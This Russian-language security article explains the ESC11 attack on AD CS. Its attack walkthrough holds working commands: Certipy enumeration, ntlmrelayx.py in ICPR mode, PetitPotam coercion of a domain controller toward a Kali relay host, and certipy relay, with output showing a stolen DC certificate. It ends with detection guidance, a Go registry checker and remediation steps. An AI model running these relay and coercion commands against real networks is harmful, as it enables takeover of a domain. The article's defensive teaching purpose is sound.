ESC11. Как отсутствие шифрования сертификатных запросов открывает двери для NTLM‑релея
ESC11 — это атака, которая эксплуатирует одну из глубинных слабостей AD CS — возможность без шифрования отправлять запросы на сертификаты. Если на сервере центра сертификации (CA) не установлен флаг IF_ENFORCEENCRYPTICERTREQUEST, злоумышленник может взаимодействовать с CA через RPC‑интерфейс без защищенного канала. Это создает условия для NTLM‑релей-атаки, позволяющей получить доверенный сертификат от имени жертвы, например администратора или контроллера домена.
ESC11 возможна только при выполнении четырех критически важных условий, которые затрагивают конфигурацию CA и инфраструктуру аутентификации (NTLM):
- Отключен флаг
IF_ENFORCEENCRYPTICERTREQUEST. - Активен протокол NTLM в инфраструктуре.
- Используется шаблон с EKU Client Authentication.
- Доступна внешняя точка релея NTLM.
-
Через групповые политики по пути Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: LAN Manager authentication level:
Рекомендуемое значение:Send NTLMv2 response only. Refuse LM & NTLM. -
Через ветку реестра командой:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object LmCompatibilityLevel
В результате вы получите одно из значений:- 0–2 — NTLM полностью разрешен (уязвимое состояние).
- 3 — используется NTLMv2, если возможно.
- 4 — только NTLMv2. Отказ от LM.
- 5 — только NTLMv2. Отказ от LM/NTLM (рекомендуется).
Флаг IF_ENFORCEENCRYPTICERTREQUEST отвечает за обязательное шифрование запросов ICPR (ICertPassage Remote Protocol). Если он не установлен, CA примет любые входящие запросы — даже если они пришли по незащищенному NTLM‑каналу.
Таким образом, злоумышленник, используя NTLM‑релей (например, через PetitPotam или Printer Bug), может передать захваченный хеш на сервер CA и получить сертификат от имени жертвы.
Чтобы проверить статус флага, достаточно выполнить команду:
certutil -config "GOODEX-SERVER.GOOD.EXPERT\GOOD-GOODEX-SERVER-CA-1" -getreg "CA\InterfaceFlags"
Если используется только один центр сертификации, можно опустить параметр -config:
сertutil -getreg "CA\InterfaceFlags"
В ответе будет выведено числовое значение параметра InterfaceFlags. Если значение включает 0x200 (512), значит, шифрование запросов включено и атака ESC11 невозможна:
Если этого значения нет, CA остается уязвим.
Для проведения NTLM‑релей-атаки требуется NTLM‑аутентификация. Если она отключена или ограничена на уровне GPO и служб, атака невозможна.
Проверить это можно двумя способами:
ESC11 не сработает, если шаблон не допускает аутентификацию в AD. Для этого должно быть активно EKU 1.3.6.1.5.5.7.3.2 — Client Authentication:
Это значение можно найти в шаблоне сертификата, в параметрах Application Policies или Extensions.
Как и в случае с другими атаками на шаблоны, для успешной ESC11 нужно, чтобы не требовалось подтверждение менеджера на уровне самого шаблона сертификата и настроек центра сертификации.
Злоумышленнику нужно инициировать атаку NTLM‑релей (например, через PetitPotam, DFSCoerce или аналогичные техники), чтобы перехватить NTLM‑хеш и передать его к CA. В случае успеха CA выдает сертификат на перехваченную учетную запись — даже если это администратор.
Проверить, уязвим ли CA, можно с помощью Certipy:
certipy find -u hacker@good.expert -p 'Ryryququn95' -dc-ip 10.3.132.172 -debug
Сначала злоумышленник проверяет через Certipy, поддерживает ли CA‑сервер уязвимую конфигурацию:
certipy find -u hacker@good.expert -p 'Ryryququn95' -dc-ip 10.3.132.172 -vulnerable
В выводе видно:
CA:GOOD-GOODEX-SERVER-CA-1.Enforce Encryption:Disabled.Request Disposition:Issue.
Это значит, что можно сделать RPC‑запрос без шифрования (IF_ENFORCEENCRYPTICERTREQUEST отключен) и он сразу выдаст сертификат.
Затем атакующий проверяет, есть ли в домене сертификаты, которые можно запросить от имени контроллера домена. Это нужно, так как злоумышленник будет триггерить учетную запись контроллера домена GOODEX-SERVER$. По умолчанию такие уязвимые шаблоны уже есть на сервере CA, например Domain Controllers или Domain Controller Authentication:
Что важно отметить на скриншоте:
- Extended Key Usage содержит Client Authentication, а значит, такой сертификат можно будет использовать для входа в AD (в этом случае высок риск компрометации инфраструктуры).
- Requires Manager Approval = False — значит, одобрение от администратора не нужно.
- Authorized Signatures Required = 0 — можно получить сертификат без цифровых подписей.
В разделе Permissions указано, что у группы GOOD.EXPERT\Domain Controllers есть право Enroll, при этом одобрения или подписей не требуется. Поэтому, если у злоумышленника будет доступ к учетной записи контроллера домена, он сможет запросить сертификат и использовать его для аутентификации в домене без дополнительных проверок.
Перед выполнением таких атак, как ESC11 и ESC8, злоумышленнику нужно убедиться, что веб‑интерфейс службы сертификации (/certsrv) работает на сервере. Это можно сделать двумя способами:
-
Через браузер. Веб‑интерфейс работает через Microsoft IIS и доступен по пути:
http://<CA‑сервер>/certsrv/:
На скриншоте видно, что:- IP‑адрес
10.3.132.172отвечает по пути/certsrv/; - отображается стандартная страница приветствия Microsoft AD CS;
- веб‑сервер — IIS, все работает корректно.
Это значит, что Web Enrollment включен и уязвимость через NTLM‑релей теоретически возможна, если остальные условия соблюдены. - IP‑адрес
-
Через терминал. Для этого используется cURL:
curl -I http://10.3.132.172/certsrv/
Это подтверждает, что веб‑интерфейс/certsrvработает и принимает NTLM‑аутентификацию. Открывается путь для атаки через NTLM‑релей, например с использованием ntlmrelayx.py.
Далее злоумышленник запускает ntlmrelayx.py в режиме RPC‑атаки (ICPR). Эта утилита из набора Impacket используется, чтобы:
- дождаться NTLM‑аутентификацию от жертвы (например, от контроллера домена или пользователя);
- перехватить NTLM challenge/response без знания пароля;
- перенаправить (релей) аутентификацию на сервер CA по RPC, тем самым запросить сертификат от имени жертвы.
Команда:
python3 ntlmrelayx.py \ -t rpc://10.3.132.172 \ -rpc-mode ICPR \ -icpr-ca-name "GOOD-GOODEX-SERVER-CA-1" \ -smb2support
| Параметр | Значение |
|---|---|
| -t rpc://10.3.132.172 |
Целевой CA‑сервер, к которому злоумышленник будет перенаправлять NTLM‑аутентификацию через RPC |
| -rpc-mode ICPR |
Включает режим атаки через интерфейс ICPR (доступен в Windows CA) |
| -icpr-ca-name |
Имя CA, уязвимого центра сертификации |
| -smb2support |
Включает поддержку SMBv2 для совместимости |
При запуске ntlmrelayx.py поднимает SMB‑сервер на порте 445, HTTP‑сервер на порте 80, RAW‑/WCF‑серверы и ждет подключений от жертв (например, от PetitPotam или Coercer).
Сами по себе Windows-серверы не будут просто так аутентифицироваться — злоумышленнику нужно спровоцировать их на это.
PetitPotam (или Coercer) вызывает специальный DCOM‑/RPC‑вызов, который заставляет жертву инициировать SMB‑соединение с Kali Linux — и злоумышленник это перехватывает:
python3 PetitPotam.py \ -u hacker \ -p 'Ryryququn95' \ -d good.expert \ 10.3.132.172 \ 192.168.64.3
| Параметр | Значение |
|---|---|
| -u hacker |
Пользователь AD |
| -p Ryryququn95 |
Пароль |
| -d good.expert |
Домен |
| 10.3.132.172 |
Жертва (сервер которой атакующий принуждает) |
| 192.168.64.3 |
Kali Linux, где работает ntlmrelayx.py |
В ходе атаки:
- PetitPotam инициирует вызов
EfsRpcOpenFileRaw, чтобы принудить жертву (например, контроллер домена) выполнить аутентификацию. - Жертва (в примере —
10.3.132.172) подключается по SMB к атакующей машине (Kali Linux). - ntlmrelayx.py перехватывает NTLM‑аутентификацию и перенаправляет ее в RPC‑интерфейс CA.
- Сервер сертификации, принимая релей-запрос, считает, что с ним общается легитимная учетная запись, и может выдать сертификат на имя жертвы.
В итоге в ntlmrelayx.py можно увидеть следующее:
[*] Received connection from 10.3.132.172 [*] Authenticating against rpc://10.3.132.172 as GOOD.EXPERT/GOODEX-SERVER$ SUCCEED [*] Generating CSR... [*] Getting certificate... [*] Successfully requested certificate [*] Saved certificate and private key to GOODEX-SERVER.pfx
Это значит:
- Контроллер домена (
GOODEX-SERVER$) аутентифицировался на SMB‑сервере, который развернут на хосте Kali Linux. - ntlmrelayx.py перенаправил вызов на RPC‑интерфейс сертификационного центра.
- В CA был уязвимый шаблон, который не требовал одобрений, имел права Enroll и поддерживал Client Authentication.
- CA поверил NTLM‑аутентификации и выдал сертификат на
GOODEX-SERVER$. - Поддержка релея через RPC (MS‑ICPR), которой нет в оригинальной версии Certipy, — ключевой компонент в эксплуатации ESC11.
- Возможность указать
-rpc-mode ICPRи работать напрямую с интерфейсом CA через ntlmrelayx.py. - Совместимость с уязвимыми шаблонами сертификатов (например, ESC11, Domain Controller Authentication) и корректная генерация CSR на их основе.
- Упрощенная автоматизация: выдает сразу готовый PFX‑файл, который можно использовать для дальнейших действий, например получения NTLM‑хеша через certipy auth.
В итоге создается PFX‑файл с приватным ключом и сертификатом. Его можно использовать, чтобы имплантироваться в домен с помощью запроса TGT через certipy auth, проведения DCSync или другими способами.
Злоумышленник получает действующий сертификат, связанный с учетной записью жертвы, и может использовать его для аутентификации в Active Directory.
Полезное для red team
Может возникнуть вопрос: как выбирается уязвимый шаблон, ведь злоумышленник его не указывал? Конкретно в этой атаке использовался ntlmrelayx.py сборки sploutchy. В его исходном коде, в частности adcsattack.py, есть строки, дающие ответ:
current_template = self.config.template
if current_template is None:
current_template = "Machine" if self.username.endswith("$") else "User"
Если шаблон не указан, то в зависимости от учетной записи выбирается стандартный. Но если нужно указать явно, тогда добавляется флаг -template и указывается имя шаблона.
Иногда вместо привычного ntlmrelayx.py атакующие могут использовать другой инструмент, специально разработанный для взаимодействия с AD CS — Certipy сборки zimedev. Он не просто умеет делать запросы к CA и забирать сертификаты, но и спокойно «заглядывает в гости»: просматривает уязвимые шаблоны, проводит аутентификацию с помощью полученных сертификатов.
Эта сборка включает ряд доработок, необходимых для успешной реализации атаки ESC11:
Как видно на скриншоте ниже, с помощью certipy relay злоумышленник может запустить прослушку на порте 445 и нацелиться на уязвимый RPC‑интерфейс с конкретным шаблоном Domain Controller Authentication:
certipy relay \ -target rpc://10.3.132.172 \ -ca "GOOD-GOODEX-SERVER-CA-1" \ -template "Domain Controller Authentication"
Вывод:
После запуска Сertipy в режиме релея он начинает слушать входящие подключения (например, от PetitPotam или Coercer) и при удачной аутентификации автоматически инициирует запрос сертификата с нужным шаблоном от имени подключившегося хоста.
Рассмотрим основные методы обнаружения.
Атаку ESC11 можно выявить с помощью мониторинга запросов сертификатов и входов в систему.
Запросы сертификатов (Event ID 4886)
Отслеживайте запросы на выдачу сертификатов, особенно если они связаны с критически важными учетными записями (например, контроллеров домена) и шаблонами, позволяющими аутентификацию.
В журнале безопасности Windows генерируется событие 4886, в котором отражается информация о запросе сертификата:
- Requester — учетная запись, от имени которой сделан запрос.
- Attributes — название используемого шаблона.
Пример анализа
- Requester:
good\GOODEX-SERVER$(учетная запись контроллера домена). - Attributes:
CertificateTemplate:Domain Controller Authentication.
Такие действия от имени учетной записи контроллера домена с шаблоном, позволяющим аутентификацию, должны инициировать немедленное расследование.
Вход в систему (Event ID 4624) через NTLM с несовпадением IP‑адреса и имени
Отслеживайте успешный вход в систему, особенно если используется NTLM‑аутентификация, а при этом не совпадают имя рабочей станции и IP‑адрес.
Пример анализа
- Workstation Name: Kali (не соответствует реальному контроллеру домена).
- Source Network Address:
192.168.64.3(несоответствие). - Logon Process: NtLmSsp.
- Authentication Package: NTLM.
Это показывает, что NTLM‑аутентификация прошла не от заявленного устройства, а была перехвачена.
Чтобы определить, подвержен ли сервер ESC11, проверьте состояние флага IF_ENFORCEENCRYPTICERTREQUEST в параметре InterfaceFlags с помощью команды certutil -getreg "CA\InterfaceFlags":
Если флаг IF_ENFORCEENCRYPTICERTREQUEST (0x200/512) отсутствует в выводе, сервер уязвим. Но на скриншоте флаг включен — атака невозможна.
Рассмотрим, как реализован активный мониторинг и выявление мисконфигураций, связанных с атакой ESC11, в BI.ZONE EDR.
Необходимо не только своевременно выявлять отсутствие флага IF_ENFORCEENCRYPTICERTREQUEST, но также отслеживать в реальном времени изменения параметра, который за него отвечает, — InterfaceFlags.
С помощью certutil можно узнать состояние InterfaceFlags.
В этом случае его значение — 1603 (DEC) = 0x643 (HEX), а флаг IF_ENFORCEENCRYPTICERTREQUEST имеет значение 512 (DEC) = 0x200 (HEX).
Таблица значений InterfaceFlags
| HEX | DEC | Название | Описание |
|---|---|---|---|
| 0x1 |
1 |
IF_LOCKICERTREQUEST |
Запрещает изменение ICPR‑запросов после их отправки |
| 0x2 |
2 |
IF_NOREMOTEICERTREQUEST |
Запрещает удаленные запросы на сертификаты через DCOM |
| 0x40 |
64 |
IF_NOREMOTEICERTADMINBACKUP |
Запрещает удаленный доступ к резервному копированию CA |
| 0x200 |
512 |
IF_ENFORCEENCRYPTICERTREQUEST |
Требует шифрования ICPR‑запросов (защита от ESC11) |
| 0x400 |
1024 |
IF_ENFORCEENCRYPTICERTADMIN |
Требует шифрования административных запросов к CA |
Запрос в certutil позволяет узнать, какое значение хранит параметр InterfaceFlags. Однако требуется постоянный мониторинг его состояния без использования утилиты. Для этого нужно обратиться напрямую к реестру Windows и выполнить следующие шаги:
- Извлечь текущее значение
InterfaceFlagsиз реестра. - Сравнить его побитово с
512(0x200). - Определить, включен ли флаг
IF_ENFORCEENCRYPTICERTREQUEST.
Данные об указанном флаге хранятся в параметре InterfaceFlags по следующему пути реестра: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CertSvc\Configuration\GOOD-GOODEX-SERVER-CA-1.
Здесь GOOD-GOODEX-SERVER-CA-1 — имя используемого центра сертификации.
Теперь необходимо обратиться к параметру InterfaceFlags, извлечь из него текущее значение, например 1603 (в десятичной системе), и выполнить побитовую проверку. Так можно выяснить, содержит ли это значение флаг IF_ENFORCEENCRYPTICERTREQUEST, который соответствует числу 512 (0x200). Если флаг установлен, центр сертификации неуязвим для атаки ESC11.
Для автоматизации этого процесса можно создать утилиту на языке Go, которая выполнит все шаги самостоятельно:
package main
import (
"fmt"
"golang.org/x/sys/windows/registry"
)
const (
regPath = SYSTEM\\ControlSet001\\Services\\CertSvc\\Configuration\\GOOD-GOODEX-SERVER-CA-1
paramName = "InterfaceFlags"
IF_ENFORCEENCRYPTICERTREQUEST = 512
)
func main() {
// Открываем ветку реестра
key, err := registry.OpenKey(registry.LOCAL_MACHINE, regPath, registry.QUERY_VALUE)
if err != nil {
fmt.Println("Ошибка открытия реестра:", err)
return
}
defer key.Close()
// Читаем значение InterfaceFlags
interfaceFlags, _, err := key.GetIntegerValue(paramName)
if err != nil {
fmt.Println("Ошибка чтения параметра:", err)
return
}
fmt.Printf("Текущее значение InterfaceFlags: %d\n", interfaceFlags)
// Проверяем наличие флага IF_ENFORCEENCRYPTICERTREQUEST
if interfaceFlags&IF_ENFORCEENCRYPTICERTREQUEST != 0 {
fmt.Println("CA неуязвим: флаг IF_ENFORCEENCRYPTICERTREQUEST установлен.")
} else {
fmt.Println("CA уязвим: флаг IF_ENFORCEENCRYPTICERTREQUEST отсутствует!")
}
}
После запуска получим результат: «CA неуязвим для ESC11».
Этот пример скрипта наглядно показывает логику фиксации мисконфигурации. Однако в рамках BI.ZONE EDR реализован более продвинутый механизм: система не только выявляет отсутствие флага IF_ENFORCEENCRYPTICERTREQUEST, но и ведет постоянный мониторинг значения параметра InterfaceFlags.
Если значение параметра изменяется, автоматически инициируется повторный сбор инвентаризационных данных. Далее эти данные проходят анализ, в ходе которого определяется, установлен ли необходимый флаг. В результате обеспечивается полнота контроля как в текущем, так и в ретроспективном контексте, позволяя точно отслеживать момент возникновения мисконфигурации и оперативно реагировать на потенциальную уязвимость.
IF_ENFORCEENCRYPTICERTREQUEST в BI.ZONE EDR
Чтобы предотвратить атаку ESC11, включите флаг IF_ENFORCEENCRYPTICERTREQUEST, который отвечает за требование шифрования запросов на выдачу сертификатов. Это можно сделать командой:
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
После изменения параметра перезапустите службу AD CS:
net stop certsvc && net start certsvc
- Ограничьте или отключите NTLM‑аутентификацию. NTLM подвержен релей-атакам, поэтому его рекомендуется ограничить или полностью отключить, заменив на Kerberos. Однако полный отказ от NTLM может вызвать проблемы с обратной совместимостью на старых серверах и приложениях.
- Проводите мониторинг и аудит сертификатных запросов. Включите аудит событий AD CS, чтобы отслеживать подозрительные запросы. Используйте утилиту Certipy для регулярной проверки уязвимостей.
Атака ESC11 — это яркий пример того, как небольшие недочеты в настройках безопасности могут привести к компрометации всей доменной инфраструктуры. Правильная конфигурация AD CS и ограничение NTLM‑релея — ключевые меры для защиты от этой техники.